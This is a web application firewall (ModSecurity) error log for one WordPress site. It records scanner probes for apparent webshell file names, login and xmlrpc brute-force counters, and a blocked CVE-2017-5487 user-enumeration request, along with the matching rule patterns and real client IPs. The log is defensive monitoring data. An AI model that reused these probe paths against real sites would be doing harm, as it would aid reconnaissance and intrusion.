[Fri Apr 24 09:03:02.526053 2026] [:error] [pid 19100:tid 19110] [client 20.216.173.101:12030] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hilk.php"] [unique_id "aerBRrF_hzQs4CqbifddPwAAAAE"]
[Fri Apr 24 09:03:05.140556 2026] [:error] [pid 52129:tid 52138] [client 20.216.173.101:22277] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hilk.php"] [unique_id "aerBSeKCZKf8_u2LKiArjwAAAQU"]
[Fri Apr 24 09:03:06.674086 2026] [:error] [pid 19100:tid 19134] [client 20.216.173.101:5007] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hilk.php"] [unique_id "aerBSrF_hzQs4CqbifddUQAAABg"]
[Fri Apr 24 09:03:10.156095 2026] [:error] [pid 52129:tid 52145] [client 20.216.173.101:5030] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hilk.php"] [unique_id "aerBTuKCZKf8_u2LKiArpQAAAQw"]
[Fri Apr 24 09:03:12.541975 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:31686] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "aerBUADSgrbLEZbkqD41nAAAAI0"]
[Fri Apr 24 09:03:14.137819 2026] [:error] [pid 19200:tid 19222] [client 20.216.173.101:11934] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "aerBUjQ--M3-tsKAnhEtfQAAAM4"]
[Fri Apr 24 09:03:18.220264 2026] [:error] [pid 19102:tid 19179] [client 20.216.173.101:50654] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "aerBVgDSgrbLEZbkqD41qQAAAI8"]
[Fri Apr 24 09:03:19.803666 2026] [:error] [pid 52129:tid 52151] [client 20.216.173.101:21709] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "aerBV-KCZKf8_u2LKiAr0AAAARI"]
[Fri Apr 24 09:03:20.745732 2026] [:error] [pid 52129:tid 52133] [client 20.216.173.101:55550] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aerBWOKCZKf8_u2LKiAr0gAAAQA"]
[Fri Apr 24 09:03:22.069163 2026] [:error] [pid 19100:tid 19128] [client 20.216.173.101:57980] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aerBWrF_hzQs4CqbifddhQAAABI"]
[Fri Apr 24 09:03:23.141547 2026] [:error] [pid 19200:tid 19228] [client 20.216.173.101:29840] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aerBWzQ--M3-tsKAnhEtlAAAANQ"]
[Fri Apr 24 09:03:25.550324 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:64012] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yuzuru1.php"] [unique_id "aerBXTQ--M3-tsKAnhEtogAAAMs"]
[Fri Apr 24 09:03:29.179989 2026] [:error] [pid 19200:tid 19222] [client 20.216.173.101:4420] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/checkout.php"] [unique_id "aerBYTQ--M3-tsKAnhEtpgAAAM4"]
[Fri Apr 24 09:03:48.303091 2026] [:error] [pid 19102:tid 19166] [client 20.216.173.101:61864] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aerBdADSgrbLEZbkqD413gAAAII"]
[Fri Apr 24 09:03:49.934015 2026] [:error] [pid 52129:tid 52139] [client 20.216.173.101:28534] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aerBdeKCZKf8_u2LKiAsKAAAAQY"]
[Fri Apr 24 09:03:52.682581 2026] [:error] [pid 19200:tid 19218] [client 20.216.173.101:4723] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aerBeDQ--M3-tsKAnhEt-wAAAMo"]
[Fri Apr 24 09:04:05.170154 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:35777] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aerBhQDSgrbLEZbkqD41-gAAAI0"]
[Fri Apr 24 09:04:08.419317 2026] [:error] [pid 52129:tid 52140] [client 20.216.173.101:27352] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aerBiOKCZKf8_u2LKiAsfQAAAQc"]
[Fri Apr 24 09:04:09.350598 2026] [:error] [pid 19102:tid 19165] [client 20.216.173.101:27370] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aerBiQDSgrbLEZbkqD42AQAAAIE"]
[Fri Apr 24 09:04:10.524337 2026] [:error] [pid 19101:tid 19140] [client 20.216.173.101:28533] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aerBimAHj9bEvrTgbO0oyQAAAEM"]
[Fri Apr 24 09:04:11.869775 2026] [:error] [pid 19102:tid 19169] [client 20.216.173.101:55856] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aerBiwDSgrbLEZbkqD42BAAAAIU"]
[Fri Apr 24 09:04:12.885766 2026] [:error] [pid 19100:tid 19122] [client 20.216.173.101:16402] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aerBjLF_hzQs4Cqbifdd1AAAAAw"]
[Fri Apr 24 09:04:14.561057 2026] [:error] [pid 19100:tid 19124] [client 20.216.173.101:30998] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aerBjrF_hzQs4Cqbifdd2gAAAA4"]
[Fri Apr 24 09:04:16.834169 2026] [:error] [pid 19200:tid 19212] [client 20.216.173.101:62208] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aerBkDQ--M3-tsKAnhEuNwAAAMQ"]
[Fri Apr 24 09:04:21.743788 2026] [:error] [pid 19100:tid 19126] [client 20.216.173.101:30995] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerBlbF_hzQs4Cqbifdd6QAAABA"]
[Fri Apr 24 09:04:22.973473 2026] [:error] [pid 52129:tid 52152] [client 20.216.173.101:27374] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerBluKCZKf8_u2LKiAsogAAARM"]
[Fri Apr 24 09:04:26.457466 2026] [:error] [pid 19200:tid 19227] [client 20.216.173.101:36418] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerBmjQ--M3-tsKAnhEuTwAAANM"]
[Fri Apr 24 09:04:27.324692 2026] [:error] [pid 19101:tid 19144] [client 20.216.173.101:64082] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerBm2AHj9bEvrTgbO0o1wAAAEc"]
[Fri Apr 24 10:15:07.637528 2026] [:error] [pid 13621:tid 13690] [client 146.19.125.67:60913] [client 146.19.125.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.19.125.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aerSK_ZNXlxChmK1mZdW6gAAAUk"], referer: http://rcacivilgroup.com/wp-login.php?action=register
[Fri Apr 24 10:15:16.046225 2026] [:error] [pid 13846:tid 13854] [client 43.153.12.58:44818] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aerSNFeBnHgqz5IyA_tuXAAAAIE"]
[Fri Apr 24 10:32:05.908703 2026] [:error] [pid 17808:tid 17825] [client 194.26.192.182:59928] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI8OAAAAE8"]
[Fri Apr 24 10:32:06.421396 2026] [:error] [pid 22114:tid 22133] [client 194.26.192.182:60232] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aerWJoAuWGz3WlMQjodqHAAAARA"]
[Fri Apr 24 10:32:06.924914 2026] [:error] [pid 17721:tid 17793] [client 194.26.192.182:60508] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aerWJuFXXkLeyDnfk_97MwAAAAw"]
[Fri Apr 24 10:32:07.435334 2026] [:error] [pid 17808:tid 17827] [client 194.26.192.182:60967] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aerWJ-arbOEFI8qshvI8gAAAAFE"]
[Fri Apr 24 10:32:07.947880 2026] [:error] [pid 22114:tid 22125] [client 194.26.192.182:61348] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aerWJ4AuWGz3WlMQjodqYgAAAQg"]
[Fri Apr 24 11:36:50.956081 2026] [:error] [pid 17721:tid 17781] [client 198.98.57.91:62232] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aerlUuFXXkLeyDnfk_-OrwAAAAA"]
[Fri Apr 24 11:36:52.355741 2026] [:error] [pid 17721:tid 17794] [client 198.98.57.91:62232] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aerlVOFXXkLeyDnfk_-OsQAAAA0"]
[Fri Apr 24 14:24:49.827983 2026] [:error] [pid 17720:tid 17759] [client 182.48.217.73:1506] [client 182.48.217.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.217.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesMsehlUs6BS3Ng7_X3VAAAAMU"]
[Fri Apr 24 14:25:06.739204 2026] [:error] [pid 22114:tid 22127] [client 182.48.217.73:1609] [client 182.48.217.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.217.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesMwoAuWGz3WlMQjoep3AAAAQo"]
[Fri Apr 24 14:25:23.011493 2026] [:error] [pid 17808:tid 17814] [client 182.48.217.73:35661] [client 182.48.217.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.217.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesM0-arbOEFI8qshvKm4QAAAEQ"]
[Fri Apr 24 14:25:38.838924 2026] [:error] [pid 17720:tid 17754] [client 182.48.217.73:35502] [client 182.48.217.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.217.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesM4uhlUs6BS3Ng7_X3fgAAAMA"]
[Fri Apr 24 14:25:54.328918 2026] [:error] [pid 22114:tid 22129] [client 182.48.217.73:35158] [client 182.48.217.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.217.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesM8oAuWGz3WlMQjoep6QAAAQw"]
[Fri Apr 24 14:53:24.763199 2026] [:error] [pid 17720:tid 17768] [client 65.108.125.120:16184] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aesTZOhlUs6BS3Ng7_X8lQAAAM4"]
[Fri Apr 24 14:53:28.768006 2026] [:error] [pid 22114:tid 22134] [client 65.108.125.120:22630] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aesTaIAuWGz3WlMQjoeuewAAARE"]
[Fri Apr 24 16:13:38.926200 2026] [:error] [pid 17721:tid 17786] [client 49.51.233.46:60216] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aesmMuFXXkLeyDnfk__15AAAAAU"]
[Fri Apr 24 16:16:58.301298 2026] [:error] [pid 22114:tid 22130] [client 176.98.213.28:10329] [client 176.98.213.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.98.213.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesm-oAuWGz3WlMQjoe8aAAAAQ0"]
[Fri Apr 24 16:19:30.823054 2026] [:error] [pid 17719:tid 17737] [client 176.98.213.28:10952] [client 176.98.213.28] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aesnksTZ9gzEyL1BkPpwyQAAAIo"]
[Fri Apr 24 16:19:55.889179 2026] [:error] [pid 17808:tid 17819] [client 176.98.213.28:17023] [client 176.98.213.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.98.213.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aesnq-arbOEFI8qshvLOiwAAAEk"]
[Fri Apr 24 16:24:20.611143 2026] [:error] [pid 17720:tid 17771] [client 209.141.55.159:53248] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aesotOhlUs6BS3Ng7_Uk7QAAANE"]
[Fri Apr 24 16:24:21.820206 2026] [:error] [pid 17720:tid 17776] [client 209.141.55.159:53248] [client 209.141.55.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.55.159, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aesotehlUs6BS3Ng7_Uk9gAAANY"]
[Fri Apr 24 16:59:22.025093 2026] [:error] [pid 17720:tid 17764] [client 43.130.40.120:58366] [client 43.130.40.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aesw6uhlUs6BS3Ng7_U6rgAAAMo"]
[Fri Apr 24 19:17:31.792782 2026] [:error] [pid 17720:tid 17764] [client 20.107.212.3:42572] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aetRS-hlUs6BS3Ng7_V_WgAAAMo"]
[Fri Apr 24 19:17:32.870679 2026] [:error] [pid 14531:tid 14536] [client 20.107.212.3:3134] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aetRTHfLU2gw-6KR-GaxTQAAAUM"]
[Fri Apr 24 19:17:34.472503 2026] [:error] [pid 17721:tid 17788] [client 20.107.212.3:60037] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aetRTuFXXkLeyDnfk_8nvQAAAAc"]
[Fri Apr 24 19:17:35.369321 2026] [:error] [pid 17720:tid 17778] [client 20.107.212.3:40427] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aetRT-hlUs6BS3Ng7_V_YgAAANg"]
